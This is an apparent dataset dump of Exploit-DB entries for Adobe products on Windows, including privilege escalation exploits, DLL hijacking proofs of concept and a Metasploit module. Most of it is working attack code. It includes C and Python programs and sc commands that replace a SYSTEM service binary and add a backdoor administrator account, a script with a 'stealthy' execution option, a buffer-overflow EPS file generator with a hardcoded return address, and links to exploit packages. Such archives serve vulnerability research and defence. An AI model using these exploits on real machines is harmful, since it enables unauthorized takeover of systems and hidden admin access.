deardaniel/secdata-raw huggingface dataset:
Exploit-DB #9199
Description: Adobe 9.x Related Service - 'getPlus_HelperSvc.exe' Local Privilege Escalation
Type: local
Platform: windows
Date: 2009-07-20
Author: Nine:Situations:Group

Exploit:
Adobe related service (getPlus_HelperSvc.exe) local elevation of privileges
by Nine:Situations:Group
site: http://retrogod.altervista.org/

description:
Adobe downloader used to download updates for Adobe applications.
Shipped with Acrobat Reader 9.x

vendor: Nos Microsystems

poc:

C:\>sc qc "getPlus(R) Helper"
[SC] GetServiceConfig SUCCESS

SERVICE_NAME: getPlus(R) Helper
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Programmi\NOS\bin\getPlus_HelperSvc.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : getPlus(R) Helper
        DEPENDENCIES       : RPCSS
        SERVICE_START_NAME : LocalSystem

C:\>cacls "C:\Programmi\NOS\bin\getPlus_HelperSvc.exe"
C:\Programmi\NOS\bin\getPlus_HelperSvc.exe BUILTIN\Users:F <-------------- [!!!]
                                           NT AUTHORITY\SYSTEM:F

The executable file is installed with improper permissions, with "full
control" for Builtin Users; a simple user can replace it with a binary of
choice.
At the next reboot it will run with SYSTEM privileges.

# milw0rm.com [2009-07-20]
Exploit-DB #9223
Description: Adobe Acrobat 9.1.2 NOS - Local Privilege Escalation
Type: local
Platform: windows
Date: 2009-07-21
Author: Jeremy Brown

Exploit:
/*
alwaysdirtyneverclean.c
AKA
Adobe Acrobat 9.1.2 NOS Local Privilege Escalation Exploit (alwaysdirtyneverclean.zip)
BY
Jeremy Brown 2009 [0xjbrown41@gmail.com] 07.21.2009
***********************************************************************************************************
I've been up for nearly 24 hours (only the last few doing research though). This exploit is based on the
brief information provided by Nine:Situations:Group (http://www.milw0rm.com/exploits/9199). Exploiting
improper permissions is fun. A few notes are in order though. The getPlus service (that I tested, via 9.1.2)
isn't installed as an "Automatic" service, therefore making it slightly harder (but not hard) to practically
use to your advantage. But I tested running this code under a GUEST account and it worked pretty good (just
the first time though). Change the values as needed, compile and run. Things could be more or less silent,
lethal or non-lethal... it is completely up to you. Things cannot get much simpler than this :)

Tested on Windows XP SP3 + Adobe Acrobat 9.1.2 (installed from adobe's download manager, then updated)

But maybe give Adobe a break? 2009 has been a rough year for them already, heh. Sleep time.
***********************************************************************************************************
alwaysdirtyneverclean.c
*/

#include <stdio.h>
#include <windows.h>

#define DEFAULT_TARGET  "C:\\Program Files\\NOS\\bin\\GetPlus_HelperSvc.exe"
#define DEFAULT_BACKUP  "C:\\Program Files\\NOS\\bin\\GetPlus_HelperSvc.exe.bak"
#define DEFAULT_EXECUTE "C:\\Documents and Settings\\All Users\\Documents\\bin.exe"
//#define DEFAULT_EXECUTE "C:\\WINDOWS\\system32\\calc.exe"

int main(int argc, char *argv[])
{

     MoveFile(DEFAULT_TARGET, DEFAULT_BACKUP);
     CopyFile(DEFAULT_EXECUTE, DEFAULT_TARGET, FALSE);
     // shakee and bakeee

     return 0;

}
///////////////////////////////////// cut /////////////////////////////////////

/*
bin.c
FROM
Adobe Acrobat 9.1.2 NOS Local Privilege Escalation Exploit (alwaysdirtyneverclean.zip)
BY
Jeremy Brown 2009 [0xjbrown41@gmail.com] 07.21.2009
*/

#include <stdio.h>
#include <windows.h>

#define CMD "C:\\WINDOWS\\system32\\cmd.exe"
#define ONE "/C net user adobe pwned /add"
#define TWO "/C net localgroup administrators adobe /add"

int main(int argc, char *argv[])
{

STARTUPINFO si = {sizeof(STARTUPINFO)};
PROCESS_INFORMATION pi;

     CreateProcess(CMD, ONE, NULL, NULL, 0, 0, NULL, NULL, &si, &pi);
     CreateProcess(CMD, TWO, NULL, NULL, 0, 0, NULL, NULL, &si, &pi);
     // mmmmmmmmmmm.. chocolate browie ice cream smoothes are goooood

     return 0;

}

# milw0rm.com [2009-07-21]
Exploit-DB #9272
Description: Adobe Acrobat 9.1.2 NOS - Local Privilege Escalation
Type: local
Platform: windows
Date: 2009-07-27
Author: Dr_IDE

Exploit:
#!/usr/bin/env python
##################################################################################
#
# Adobe Acrobat v9.1.2 Local Privilege Escalation Exploit
# Coded By: Dr_IDE
# Discovered by: Nine:Situations:Group
# Tested On: Windows XP SP2, Requires NOS Package Installed
# Usage: python Dr_IDE-Adobe_912.py
#
##################################################################################

import os, subprocess

#
# Should probably have a try block around this as not every install
# of 9.1.2 has the NOS package on it. This is a little touchy so you may have to
# play around with it.
#
# This is a super lame way to do this but it makes it more educational.
evil =  "echo *************************************************************\n"
evil += "echo *\n"
evil += "echo * Adobe Acrobat v9.1.2 Local Privilege Escalation Exploit\n"
evil += "echo * Coded By: Dr_IDE\n"
evil += "echo * Discovered By: Nine:Situations:Group\n"
evil += "echo * Tested On: Windows XP SP2\n"
evil += "echo *\n"
evil += "echo *************************************************************\n"
evil += "echo This will add user Dr_IDE:password to the Admin Group\n"
evil += "cd C:\\Program Files\\NOS\\bin\n"
evil += "copy /Y GetPlus_HelperSvc.exe GetPlus_HelperSvc.old\n"
evil += "copy /Y %systemroot%\\system32\\cmd.exe\n"
evil += "GetPlus_HelperSvc.exe /C net user Dr_IDE password /ADD\n"
evil += "GetPlus_HelperSvc.exe /C net localgroup administrators Dr_IDE /ADD\n"
evil += "GetPlus_HelperSvc.exe /C net user Dr_IDE\n"
evil += "exit"

f1 = open('Dr_IDE-Adobe.bat','w');
f1.write(evil);
f1.close();

# Here are two ways to execute this exploit. If you leave both commented just the batch file is created.

# Silent Way - This should be more stealthy
#retval = subprocess.call("Dr_IDE-Adobe.bat");

# Louder Way - On some systems this will probably open a DOS window
#retval = os.system("Dr_IDE-Adobe.bat");

# milw0rm.com [2009-07-27]
Exploit-DB #29881
Description: Adobe Acrobat Reader - ASLR + DEP Bypass with Sandbox Bypass
Type: local
Platform: windows
Date: 2013-11-28
Author: w3bd3vil & abh1sek

Exploit:
CVE-2013-0640/1
Somehow, our script got on to the Russian forums :/

@w3bd3vil and @abh1sek

Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29881.tar.gz

Adobe Acrobat Reader ASLR/DEP bypass Exploit with SANDBOX BYPASS
=================================================================

Supported Adobe Reader Versions:

* 11.0.1
* 11.0.0

* 10.1.5
* 10.1.4
* 10.1.3
* 10.1.2
* 10.1

* 9.5

Tested on:

* Windows 7 (32 bit)
* Windows 7 (64 bit)
* Windows XP

Script Requirements:

* Run on Windows :-)
* Ruby 1.9.x (http://rubyforge.org/frs/download.php/76752/rubyinstaller-1.9.3-p385.exe)
* Gems: origami, metasm (In command prompt type, gem install metasm && gem install origami -v "=1.2.5")

FYI:
a. It's a rip, of the original exploit.
b. Works most of the times.
c. We never really got into completing our script options though.

ruby xfa_MAGIC.rb -h
Usage: xfa_MAGIC.rb [options]
    -i, --input [FILE]               Input PDF. If provided, exploit will be injected into it (optional)
    -p, --payload [FILE]             PE executable to embed in the payload
        --low-mem                    Use Heap spray suitable for low memory environment
    -o, --output [FILE]              File path to write output PDF
    -h, --help                       Show help
(Some commands are not supported at the moment)

ruby xfa_MAGIC.rb -p example.exe -o poc.pdf
Exploit-DB #8280
Description: Adobe Acrobat Reader - JBIG2 Universal
Type: local
Platform: windows
Date: 2009-03-24
Author: Black Security

Exploit:
Adobe Acrobat Reader JBIG2 Universal Exploit Bind Shell port 5500

write up: http://bl4cksecurity.blogspot.com/2009/03/adobe-acrobatreader-universal-exploit.html

down: http://blacksecurity.org/download/66/Adobe_JBIG2_Universal_Reader_Acrobat_Exploit
back: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/8280.zip (2009-bl4ck-adobe.zip)

# milw0rm.com [2009-03-24]
Exploit-DB #8595
Description: Adobe Acrobat Reader 8.1.2 < 9.0 - 'getIcon()' Memory Corruption
Type: local
Platform: windows
Date: 2009-05-04
Author: Abysssec

Exploit:
Affected Version   : Acrobat Reader 8.1.2 - 9.0
Vendor  Patch      : http://www.adobe.com/support/security/bulletins/apsb09-04.html
Tested   On        : XP SP2 / SP3

from ZDI :  http://www.zerodayinitiative.com/advisories/ZDI-09-014/

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations
of Adobe Acrobat and Adobe Reader. User interaction is required in that a user must visit a
malicious web site or open a malicious file.The specific flaw exists when processing malicious
JavaScript contained in a PDF document. When supplying a specially crafted argument to the getIcon()
method of a Collab object, proper bounds checking is not performed resulting in a stack overflow.
If successfully exploited full control of the affected machine running under the credentials of the
currently logged in user can be achieved.

This vulnerability was discovered by:

Tenable Network Security (there is a man named Nicolas Pouvesle and we know == > he has lots of exploitation method  ; ))

Exploit By :  www.Abysssec.com

note : this exploit is just for educational purpose so shellcode will execute calc if you want other shellcode change shellcode .

Exploit Link : http://abysssec.com/Adobe.Collab.getIcon().pdf
Mirror  Link : https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/8595.pdf (2009-Adobe.Collab.getIcon.pdf)

# milw0rm.com [2009-05-04]
Exploit-DB #9579
Description: Adobe Acrobat/Reader < 7.1.1/8.1.3/9.1 - Collab getIcon Universal
Type: local
Platform: windows
Date: 2009-09-03
Author: kralor

Exploit:
#!/usr/bin/env python
#
# *** Acrobat Reader - Collab getIcon universal exploiter ***
# evil_pdf.py, tested on Operating Systems:
# Windows XP SP3 English/French
# Windows 2003 SP2 English
# with Application versions:
# Adobe Reader 9.0.0/8.1.2 English/French
# Test methods:
# Standalone PDF, embedded PDF in Firefox 3.0.13 and Internet Explorer 7
# 24/06/2009 - Created by Ivan Rodriguez Almuina (kralor). All rights reserved.
# [Coromputer] raised from the ashes.
#

http://www.coromputer.net/CVE-2009-0927_package.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9579.zip (2009-CVE-2009-0927_package.zip)

# milw0rm.com [2009-09-03]
Exploit-DB #14735
Description: Adobe Dreamweaver CS4 - 'ibfs32.dll' DLL Hijacking
Type: local
Platform: windows
Date: 2010-08-24
Author: Glafkos Charalambous

Exploit:
/* 
Exploit Title: Adobe Dreamweaver CS4 DLL Hijacking Exploit (ibfs32.dll)
Date: August 25, 2010
Author: Glafkos Charalambous (glafkos[@]astalavista[dot]com)
Version: 10.0 Build 4117
Tested on: Windows 7 Ultimate x86
Vulnerable extensions: .asp .asa. aspx .php .php5 .cfm .tpl .asr .jsp (etc)
Greetz: Astalavista, OffSEC, Exploit-DB
*/

#include <windows.h>
#define DllExport __declspec (dllexport)

BOOL WINAPI  DllMain (
            HANDLE    hinstDLL,
            DWORD     fdwReason,
            LPVOID    lpvReserved)
{
  dll_hijack();
  return 0;
}

int dll_hijack()
{
  MessageBox(0, "Dreamweaver DLL Hijacking!", "DLL Message", MB_OK);
  return 0;
}
Exploit-DB #14740
Description: Adobe Dreamweaver CS5 11.0 build 4909 - 'mfc90loc.dll' DLL Hijacking
Type: local
Platform: windows
Date: 2010-08-25
Author: diwr

Exploit:
/*
# Exploit Title: Adobe Dreamweaver CS5 DLL Hijacking Exploit (mfc90loc.dll)
# Date: 25/08/2010
# Author: Bruno Filipe (diwr) http://digitalacropolis.us
# Software Link: http://www.adobe.com <http://www.bsplayer.org>
# Version: <= 11.0 build 4909
# Tested on: WinXP SP2, WinXP SP3
# Other Adobe CS5 products may be vulnerable too.
# Thx TheLeader ;)
#
----------------------------------------------------------------------------------------------------------
# This should work with any file handled by Dreamweaver (.php, .asp, etc)
# 1. gcc dllmain.c -o mfc90loc.dll
# 2. Put mfc90ptb.dll in the same directory of a file handled by Dw (EG:
anything.php)
# 3. You can generate a msfpayload DLL and spawn a shell, for example.
#
----------------------------------------------------------------------------------------------------------
*/

#include <windows.h>

int main()
{
  WinExec("calc", SW_NORMAL);
  exit(0);
  return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
  main();
  return 0;
}
Exploit-DB #21629
Description: Adobe eBook Reader 2.2 - File Restoration Privilege Escalation
Type: local
Platform: windows
Date: 2002-07-19
Author: Vladimir Katalov

Exploit:
source: https://www.securityfocus.com/bid/5273/info

Adobe eBook Reader is a client side application which is able to view Adobe eBooks, available for Microsoft Windows and Macintosh OS 9. eBooks are electronic books which provide some protection for content. Users may be able to view a book, but have limited publisher defined privileges to copy content.

It is possible to bypass some quota restrictions. Non-zero quotas on copying and printing content may be bypassed by repeatedly restoring certain files used to maintain state from backups.

This vulnerability has been reported in versions of eBook Reader for Microsoft Windows. It may, however, exist on other platforms.

Data\Vouchers\*.*
Data\GB.dbd
Data\Category.etb
Data\Library*.etb
Data\Library*.vld
Exploit-DB #14785
Description: Adobe ExtendedScript Toolkit CS5 3.5.0.52 - 'dwmapi.dll' DLL Hijacking
Type: local
Platform: windows
Date: 2010-08-25
Author: LiquidWorm

Exploit:
/*

 Adobe ExtendedScript Toolkit CS5 v3.5.0.52 (dwmapi.dll) DLL Hijacking Exploit

 Vendor: Adobe Systems Inc.
 Product Web Page: http://www.adobe.com
 Affected Version: CS5 v3.5.0.52 ExtendScript 4.1.23 ScriptUI 5.1.37

 Summary: The ExtendScript Toolkit (ESTK) 3.5.0 is a scripting utility
 included with Adobe® Creative Suite CS5 and other Adobe applications.
 The ESTK is used for creating, editing, and debugging JavaScript to be
 used for scripting Adobe applications.

 Desc: Adobe ExtendScript Toolkit CS5 suffers from a dll hijacking vulnerability
 that enables the attacker to execute arbitrary code on a local level. The
 vulnerable extension is .jsx thru dwmapi.dll library.

 ----
 gcc -shared -o dwmapi.dll adobeest.c

 Compile and rename to dwmapi.dll, create a file test.jsx and put both files
 in same dir and execute.
 ----

 Tested on Microsoft Windows XP Professional SP3 (EN)



 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
 liquidworm gmail com

 Zero Science Lab - http://www.zeroscience.mk


 25.08.2010

*/


#include <windows.h>

BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

	switch (fdwReason)
	{
		case DLL_PROCESS_ATTACH:
		dll_mll();
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
		case DLL_PROCESS_DETACH:
		break;
	}

	return TRUE;
}

int dll_mll()
{
	MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK);
}
Exploit-DB #14784
Description: Adobe Extension Manager CS5 5.0.298 - 'dwmapi.dll' DLL Hijacking
Type: local
Platform: windows
Date: 2010-08-25
Author: LiquidWorm

Exploit:
/*

 Adobe Extension Manager CS5 v5.0.298 (dwmapi.dll) DLL Hijacking Exploit

 Vendor: Adobe Systems Inc.
 Product Web Page: http://www.adobe.com
 Affected Version: CS5 v5.0.298

 Summary: Easily install new extensions and manage the ones you already
 have with the Adobe Extension Manager.

 Desc: Adobe Extension Manager CS5 suffers from a dll hijacking vulnerability
 that enables the attacker to execute arbitrary code on a local level. The
 vulnerable extensions are .mxi and .mxp thru dwmapi.dll library.

 ----
 gcc -shared -o dwmapi.dll adobeem.c

 Compile and rename to dwmapi.dll, create a file test.mxi or test.mxp and
 put both files in same dir and execute.
 ----

 Tested on Microsoft Windows XP Professional SP3 (EN)



 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
 liquidworm gmail com

 Zero Science Lab - http://www.zeroscience.mk


 25.08.2010

*/


#include <windows.h>

BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

	switch (fdwReason)
	{
		case DLL_PROCESS_ATTACH:
		dll_mll();
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
		case DLL_PROCESS_DETACH:
		break;
	}

	return TRUE;
}

int dll_mll()
{
	MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK);
}
Exploit-DB #46051
Description: Adobe Flash ActiveX Plugin 28.0.0.137 - Remote Code Execution (PoC)
Type: local
Platform: windows
Date: 2018-12-24
Author: smgorelik

Exploit:
Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46051.zip
[CREDENTIAL_REDACTED]
Exploit-DB #14773
Description: Adobe Illustrator CS4 - 'aires.dll' DLL Hijacking
Type: local
Platform: windows
Date: 2010-08-25
Author: Glafkos Charalambous

Exploit:
/* 
Exploit Title: Adobe Illustrator CS4 DLL Hijacking Exploit (aires.dll)
Date: August 25, 2010
Author: Glafkos Charalambous (glafkos[@]astalavista[dot]com)
Version: CS4 v14.0.0
Tested on: Windows 7 x64 Ultimate
Vulnerable extensions: .ait .eps
Greetz: Astalavista, OffSEC, Exploit-DB
Note: Create folders system\enu_us and put aires.dll
*/

#include <windows.h>

BOOL WINAPI DllMain (
            HANDLE    hinstDLL,
            DWORD     fdwReason,
            LPVOID    lpvReserved)
{
    switch (fdwReason)
	{
	case DLL_PROCESS_ATTACH:
		dll_hijack();
	case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
	break;
	}
	return TRUE;
}

int dll_hijack()
{
  MessageBox(0, "Adobe DLL Hijacking!", "DLL Message", MB_OK);
}
Exploit-DB #10344
Description: Adobe Illustrator CS4 14.0.0 - eps Universal Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2009-12-07
Author: dookie

Exploit:
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::FILEFORMAT
        
	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Adobe Illustrator CS4 v14.0.0',
			'Description'    => %q{
					Adobe Illustrator CS4 (V14.0.0) Encapsulated Postscript (.eps)
    overlong DSC Comment Buffer Overflow Exploit 
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'dookie, original by Nine:Situations:Group::pyrokinesis' ],
			'Version'        => '$Revision: 7724 $',
			'References'     =>
				[
					[ 'URL', 'http://www.exploit-db.com/exploits/10281' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
				},					
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00\x0D\x0C\x0A",
					'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
				},
			'Platform' => 'win',
			'Targets'        => 
				[
					[ 'Windows Universal', { 'Ret' => 0x4B4B5173 } ], # CALL ESI in icudt36.dll
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Dec 03 2009',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('FILENAME',   [ false, 'The file name.',  '9sg.eps']),
				], self.class)

	end

	def exploit
		
		header = "\xc5\xd0\xd3\xc6\x20\x00\x00\x00\x05\xc8\x04\x00\x00\x00"
		header << "\x00\x00\x00\x00\x00\x00%\xc8\x04\x00\xb5I\x01\x00\xff"
		header << "\xff\x00\x00"
		header << "%!PS-Adobe-3.1\x20EPSF-3.0\r\n"
		header << "%ADO_DSC_Encoding:\x20Windows\x20Roman\r\n"
		header << "%"
		sploit = rand_text_alpha(41699)
		sploit << [target.ret].pack('V')
		sploit << rand_text_alpha(2291)
		sploit << "%Title:\x20Untitled-1.eps\r\n"
		sploit << "%AAAAAAAA"
		sploit << payload.encoded
		trailer = ": A\r\n"
		trailer << "%%For:\x20alias\r\n"
		trailer << "%%CreationDate:\x2011/27/2009\r\n"
		trailer += "%%BoundingBox:\x200\x200\x20227\x20171\r\n"
		trailer += "%%HiResBoundingBox:\x200\x200\x20226.5044\x20170.3165\r\n"
		trailer += "%%CropBox:\x200\x200\x20226.5044\x20170.3165\r\n"
		trailer += "%%LanguageLevel:\x202\r\n"
		trailer += "%%DocumentData:\x20Clean7Bit\r\n"
		trailer += "%ADOBeginClientInjection:\x20DocumentHeader\x20\"AI11EPS\"\r\n"
		trailer += "%%AI8_CreatorVersion:\x2014.0.0\r"
		trailer += "%AI9_PrintingDataBegin\r"
		trailer += "%ADO_BuildNumber:\x20Adobe\x20Illustrator(R)\x2014.0.0\x20x367\x20R\x20agm\x204.4890\x20ct\x205.1541\r"
		trailer += "%ADO_ContainsXMP:\x20MainFirst\r"
		trailer += "%AI7_Thumbnail:\x20128\x2096\x208\r"
		trailer += "%%BeginData:\x204096\x20Hex\x20Bytes\r"
		trailer += "%[PII_REDACTED][PII_REDACTED]00CC[PII_REDACTED][PII_REDACTED]33990033CC0033FF\r\n"
			
		eps = header + sploit + trailer

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(eps)   

	end

end
Exploit-DB #14775
Description: Adobe InDesign CS4 - 'ibfs32.dll' DLL Hijacking
Type: local
Platform: windows
Date: 2010-08-25
Author: Glafkos Charalambous

Exploit:
/* 
Exploit Title: Adobe InDesign CS4 DLL Hijacking Exploit (ibfs32.dll)
Date: August 25, 2010
Author: Glafkos Charalambous (glafkos[@]astalavista[dot]com)
Version: CS4 v6.0
Tested on: Windows 7 x64 Ultimate
Vulnerable extensions: .indl .indp .indt .inx
Greetz: Astalavista, OffSEC, Exploit-DB
*/

#include <windows.h>

BOOL WINAPI DllMain (
            HANDLE    hinstDLL,
            DWORD     fdwReason,
            LPVOID    lpvReserved)
{
    switch (fdwReason)
	{
	case DLL_PROCESS_ATTACH:
		dll_hijack();
	case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
	break;
	}
	return TRUE;
}

int dll_hijack()
{
  MessageBox(0, "Adobe DLL Hijacking!", "DLL Message", MB_OK);
}
Exploit-DB #14772
Description: Adobe On Location CS4 - 'ibfs32.dll' DLL Hijacking
Type: local
Platform: windows
Date: 2010-08-25
Author: Glafkos Charalambous

Exploit:
/* 
Exploit Title: Adobe On Location CS4 DLL Hijacking Exploit (ibfs32.dll)
Date: August 25, 2010
Author: Glafkos Charalambous (glafkos[@]astalavista[dot]com)
Version: CS4 Build 315
Tested on: Windows 7 x64 Ultimate
Vulnerable extensions: .olproj
Greetz: Astalavista, OffSEC, Exploit-DB
*/


#include <windows.h>

BOOL WINAPI DllMain (
            HANDLE    hinstDLL,
            DWORD     fdwReason,
            LPVOID    lpvReserved)
{
    switch (fdwReason)
	{
	case DLL_PROCESS_ATTACH:
		dll_hijack();
	case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
	break;
	}
	return TRUE;
}

int dll_hijack()
{
  MessageBox(0, "Adobe DLL Hijacking!", "DLL Message", MB_OK);
}
Exploit-DB #9988
Description: Adobe Photoshop Elements - Active File Monitor Service Privilege Escalation
Type: local
Platform: windows
Date: 2009-10-29
Author: bellick

Exploit:
To exploit this issue, attackers require local, interactive access to an affected computer.

The following example commands are available:

sc stop "AdobeActiveFileMonitor8.0"
sc config "AdobeActiveFileMonitor8.0" binPath= "cmd /c net user adobe kills /add && net localgroup Administrators adobe /add"
sc start "AdobeActiveFileMonitor8.0"
runas /noprofile /user:%COMPUTERNAME%\adobe cmd